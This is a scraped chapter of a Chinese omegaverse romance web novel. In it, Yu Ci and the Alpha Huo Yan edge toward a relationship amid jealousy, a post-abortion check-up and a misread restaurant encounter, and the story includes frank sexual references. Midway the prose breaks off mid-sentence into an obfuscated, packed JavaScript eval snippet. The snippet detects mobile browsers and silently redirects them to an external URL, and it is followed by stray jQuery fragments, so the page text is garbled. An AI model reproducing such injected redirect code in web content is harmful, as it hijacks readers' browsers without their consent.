文趣网 > 都市小说 > 想怀崽的Omega > 10. 嫉妒
    明知故问。

    郁慈很清楚自己是在明知故问。

    霍堰他动心了。

    不然还能怎么解释呢,难道还能解释成霍堰是个极具同情心的Alpha,因为愧疚愿意长期做他的人形□□并且还对他十分纵容?

    想到存在这个可能性就觉得十分讨厌。

    霍堰大概想了一路怎么回答这个问题,听见他骤然发问,没有怔愣,直接就回答了:“我在想,我们可以重新考虑一下我们之间的关系吗。”

    郁慈脸上表情没有变换,但手心已经开始冒汗。

    他侧过一点头,让长发如瀑般倾泄下来,即使遮挡不住他的任何一点细微的表情变化。

    “为什么。你为什么会这么想。”

    话说得很平稳,心却跳得很快,像有个小人在里头抻手跳脚地乱闹,不知道在哪一刻鼓涨的心房就会被跳破。

    “我还没有想明白。”霍堰说,“我是不是太突兀了。”

    啧。说一句想要我很难吗。郁慈决定给霍堰点颜色看看。

    “是因为你在愧疚吗。”他抚了抚平坦的下腹,“因为我怀孕又堕胎,你觉得愧疚了。”

    霍堰立刻就僵住了。

    郁慈还能说更加难听的话,只是为了保持住良好的无辜形象并不会在霍堰面前发作。

    他只是表面上看起来像淡漠的高岭之花,实际上很懒得搭理人嘴巴又很坏,平时都很克制住自己。

    “不是因为这样,我没有这样想。”霍堰僵硬着解释,他感觉自己的舌头好像被牵住了,笨嘴拙舌。

    “那是为什么。”郁慈说。

    “我嫉妒他们。”霍堰低垂下眼睛。

    “什么。”郁慈没料到霍堰会这么回答,眼睛一下子就瞪圆了,反而有些不知所措了起来。

    霍堰不说话了,遇到难回答的问题自动宕机,身高超一米九的高大Alpha化作一座冷峻的雕像,一动不动不会作回答也没有表情。

    郁慈揉了揉侧脸,一言不发地走掉了。

    再不走,脸就要红透了。

    他们两个人的性经验十分丰富但在情感方面就是一张白纸,爱都做过了却在开口说爱的时候反而羞得不行。

    在浴缸里面放满热水,郁慈泡进去,一身白透的肌肤不知道是被热水泡的还是因为羞意,泛着莹润的粉。

    说的什么嫉妒他们的鬼话。他心想。

    有什么好嫉妒的。霍堰都把他睡透了,还把他的肚子搞大了两次,要嫉妒也是那些Alpha反过来嫉妒他吧。

    真是的,为什么要说这种话,让他在这里猜来猜去。霍堰是喜欢他吧,喜欢才会嫉妒别人能和他说话。

    真是讨厌,这种时候只要说喜欢他就好了呀,真想敲开霍堰的脑袋看看里面装的都是什么,怎么都不会说他最想听的话。

    郁慈将自己全都沉进水里,往水面上吹了几个泡泡。

    好一会儿才哗啦一声从水里重新坐起,猛地呼吸了一大口气。

    如果他的身体现在可以做|爱就好了,有什么话说不出口做一顿就好了。

    细白纤长的手指戳着一层白软的薄肚皮,想一会霍堰,又想一会他的两个宝宝,最后双手捧住两边脸颊使劲地搓,把原本就粉的双颊揉得发红。

    郁慈穿上浴袍的时候照镜子,发现自己的脸好红,简直就像个让人想咬一口的苹果,很想躲在浴室里不出去了。

    不过他也没有躲多久,头发湿答答地往下滴水有点难受,他得出去吹头发。

    霍堰没有守在门口,郁慈松了一口气。

    环顾一圈,在落地窗外的小阳台找到了霍堰。

    霍堰又在摆弄那两盆花,也不知道花有什么好看的,但这次没有抽烟,比上次正常多了。

    郁慈今晚挺累的,也不想管他,吹干了头发就直接躺到床上准备入睡。

    偏偏这个时候精神持续亢奋,比身体要活跃很多,闭上眼睛霍堰说的“重新考虑一下我们之间的关系”和“我嫉妒他们”一直在脑子里打转,边打转还边冒粉红泡泡。

    越努力去不想越冒,又困又亢奋,简直就是折磨。

    好不容易迷迷糊糊了,终于有点要睡着的感觉了,身边一沉,是霍堰上来了。

    郁慈清醒了一点,头一突一突地痛,今晚应该是要睡不好了。

    那不如就一起睡不好吧。

    “我需要一点时间来考虑。”说完直接装睡。

    霍堰的呼吸兀然加重,想再追问时郁慈的呼吸已经平缓,好像是睡着了。

    想追问的话憋在心里,无限发散思维去解读这句话,一时之间无比清醒。

    现在睡不着的另有其人了。

    郁慈说完以后整个人都松懈下来,沉重的脑子一下子就舒缓了,眼睛闭上不一会儿就陷入了睡眠。

    第二天醒来时,霍堰不在旁边,躺过的地方摸起来是凉的。

    也不知道是醒得早还是一晚上没睡。

    是一晚上没睡。

    霍堰想了一个晚上,越想越精神,直到窗外的天都蒙蒙亮了,外面的鸟也在鸣叫,不知不觉就一个晚上过去了。

    郁慈出乎意料地睡了个好觉,醒来的时候头不痛,就是腿有点酸。

    在床上打了个滚,抱着被子打了两个长长的哈欠,才坐起来,揉揉眼睛去洗漱。

    醒来的时间还算早,现在才早上九点刚过一点。

    “早。”霍堰已经吃过早餐了,正坐在沙发上,手边放着一杯咖啡。

    “早。”郁慈朝他点点头,转头去找早餐。

    找到了一份堪比酒店自助的早餐清单。

    郁慈后退两步,揉了揉眼睛,再仔细睁开看一眼,很确信自己看见了油条豆浆饭团培根沙拉三明治……等足足可以供应四五个人的早餐份量。

    “你这是要出门野餐吗?”他看一眼这堆食物,又看一眼端起咖啡的霍堰。

    “……不是。”霍堰说。

    哦。那就是孔雀开屏了。

    郁慈不了解其他的Alpha孔雀开屏的时候会是什么样子的,不过参照一下那些拦下他给他表白的Alpha和Bate,无一例外都会把自己打扮得富有魅力。

    想到这里,他把目光从丰盛的早餐上面移开,去看霍堰。

    确实发现了和平时居家时候的不同,头发抓得很有型,身上穿着熨烫得笔挺的衬衣,很帅。

    想骑在霍堰的大腿上吃早餐了。

    郁慈若无其事地随便选了一份早餐,坐在能看见霍堰的位置上,很愉快地用完了这份早餐。

    刚把叉子放下,霍堰就起身走过来了。

    很自觉地将他手里的餐盘拿走,放进洗碗机里。

    郁慈就坐着,等着霍堰和他说话。

    “你昨晚说需要一点时间来考虑,是真的吗。”霍堰在他对面坐下,看着他的眼睛说。

    “嗯,是真的。”郁慈点头,“不问我为什么吗?”

    “为什么。”霍堰顺着他的话问了下去。

    “我也还没想明白。”郁慈其实能回答出来,但他就不。

    小小地报复了一下昨晚霍堰让他半个晚上都心头小鹿乱撞。

    “嗯。”霍堰从他对面起身,在他目光的注视下走到他身旁。

    然后俯身,亲在了他的脸颊上。

    郁慈瞪大了眼睛,脸上的触感反应过来自己是被亲了,但是脑子还没转过来,嘴巴微微张大,透出一股茫然来。

    有些肉感的唇瓣透着肉色的粉,微微翕张开,看起来就很软很好亲。

    霍堰站直了身体,忍住没有继续亲下去。

    “为什么要亲我。”郁慈回过神来想咬一口唇瓣,却不小心发出了啵的一声。

    好羞耻。以前明明都不会这样的,只是被亲了脸而已,他敞开双腿的时候都没有这么纯情,霍堰只是表露了一点喜欢他的意思,亲密一下他就立刻受不了了。

    “很想亲你一下。”霍堰说,“你不喜欢我问。”

    “唔。”郁慈有点语塞,霍堰说的确实是对的。

    他没办法拒绝被霍堰亲,也不喜欢太过绅士的男人,亲一口就要问一句,烦人。直接粗暴一点亲得他没办法拒绝才好。

    但不说点拒绝的话,霍堰会不会觉得他很好追。

    难办。

    郁慈决定忽略问题,就当事情没发生过。才不是因为他还挺喜欢被亲的。

    今天要去医院复查,中午干脆就和徐鉴出去吃个饭,恋爱进度条大动,怎么能没有人可以分享。

    郁慈没告诉霍堰他要去做什么,只说了中午不回来吃饭,出门后不久霍堰也出门了。

    “创口恢复得不错,基本上已经愈合了。”徐鉴把仪器推开,“一周之内不要过性|生活,一个月内不要受孕。针剂就不开给你了,要不要开点保健品回去吃吃。”

    “我已经到了要卖保健品给我的年纪了吗。”郁慈坐起来,随口发问。

    “那倒没有。不过补补总没错嘛,虽然现在已经不流行这个说法了,但你现在算是坐小月子嘛,就算我请你的,挂我账上。听很多Omega说对养护生殖腔很有效果哦。”徐鉴说。

    这个理由让

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825455|211242||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他好难拒绝。他还有两个宝宝要生呢,当然要好好养护身体。

    “午饭我请你。”郁慈点头。

    “那我就不客气了。我要吃那个一顿饭就花我一个月工资的高级餐厅,有大玻璃窗和大露台的那个。”徐鉴立刻点上菜了。

    “行。”郁慈说。

    趁徐鉴还在伪造病历,郁慈去冷冻室看他的宝宝。

    “宝宝,妈妈来看你们了哦。”他把脸贴在透明的冷冻舱前,小声说。

    两个和拇指差不多大小的胚胎长得就像圆头小海马,听徐鉴说这个月份的宝宝已经发育出了耳朵能听见声音,于是每次来看宝宝的时候他就会有好多话要说。

    “不知道你们会长得像爸爸还是像妈妈,但是很快就能知道了,你们爸爸在追求我哦。我很快就可以把你们都生下来了。”

    “你们爸爸给我送了花,橙色的,审美真的有点糟糕,哪有给橙花味道信息素的Omega送橙色的花的呀。宝宝们可不要学爸爸。”

    “妈妈爱你们。爸爸也会爱你们的。”

    郁慈很认真地对他的宝宝们说了很多话,直到徐鉴给他发消息。

    那家一顿饭价值一个月工资的餐厅在顶楼,风景开阔环境典雅,对于吃饭追求环境还不吝啬于钱财的人来说是个好去处。

    郁慈刚拿到菜单,还没翻过两页,耳边就传来徐鉴的吸气声。

    “我之前说错了,这里吃一顿饭根本不是我一个月的工资,应该是一个半月工资啊。”虽然花的不是他的钱,但肉痛乃人之常情。

    “那换一家?”郁慈善解人意地说。

    “不如我们点个情侣套餐吧,能省点。”徐鉴真挚道,“情侣套餐还送小蛋糕呢,还有个餐前餐后酒的,也不知道能不能换果汁。”

    “点吧,里面没有我忌口的。”郁慈没意见,“我觉得我已经好了,适当喝点酒没关系。”

    “你是医生我是医生。”徐鉴职业病发作,立刻板起脸来,眼看就要苦口婆心劝谏病患。

    “我喝果汁。”郁慈立刻说。

    徐院长这才停止宣读医嘱。

    因为他们点了情侣套餐,两个侍应生推着餐车过来,把餐桌重新简单布置了一下,将叠成天鹅的白餐巾换成了玫瑰花形状的红餐巾,还放了一小束红玫瑰。

    “尊敬的客人们,你们的套餐里面有个小提琴曲,是现在听呢还是等餐酒上了再听。”其中一个侍应生说。

    徐鉴看向郁慈。

    “等餐酒上了再听吧。”郁慈说,“我不喝酒,可以把我的餐酒换成果汁吗,给我换一杯橙汁。”

    餐酒和小提琴是同时上桌的,徐鉴毫无艺术细胞,只觉得挺好听,郁慈听出来了,是首歌颂幸福爱情的小夜曲。

    听着小提琴曲啜橙汁,眼神飘忽心里想到底什么时候上点能吃的,乱飘的眼神就看见了一个熟悉的身影。

    是霍堰,他和一个女人并肩走进这家餐厅。

    他看见了霍堰,霍堰也看见了他,两个人的眼神在半空中短暂交接了一会儿,都不约而同地看向对方身边的另一个人。

    郁慈认识霍堰身边的这个女人,应该说是单方面认识她。

    她和霍堰长得有五分相似,长头发蓝眼睛,英气勃勃的,她是霍堰的Alpha妹妹霍娅,他在霍家的公开资料上看见过她和霍堰的合照。

    他对霍堰很了解,但霍堰就没那么了解他了。

    霍堰没见过徐鉴,郁慈也从来不说他和谁是朋友,红玫瑰和爱情小提琴曲看起来就是个浪漫的约会。

    郁慈在和别人约会。

    霍堰敛下目光,身边和他说话的霍娅没听见他的回应,喊了他两声才让他回过神来。

    郁慈觉得事情不妙。

    和朋友出来吃顿饭挺正常的,和朋友出来吃情侣套餐也挺正常的是吧。他说情侣套餐打折霍堰会信吗。

    郁慈的眼神飘回徐鉴身上,心想不如将错就错,反正他是不会主动解释的,不然不就显得他对霍堰很上心吗。

    徐鉴背对着霍堰,全副心思都在研究菜单,哇塞红酒鹅肝!哇塞黄金鱼子酱!哈喇子差点都淌到菜单上。

    霍堰在离他们不远不近的一张餐桌上落座。

    “你们进展怎么样?”徐鉴品完了菜单,终于想起来问郁慈恋爱进度了。

    “如果时间停留在今早,我可以告诉你,一切尽在掌握。但你要是问的是现在,我就不太确定了。”郁慈说。

    “为什么。”徐鉴问。

    “他现在就坐在你后面两桌。”郁慈举起橙汁有点想挡住自己的脸。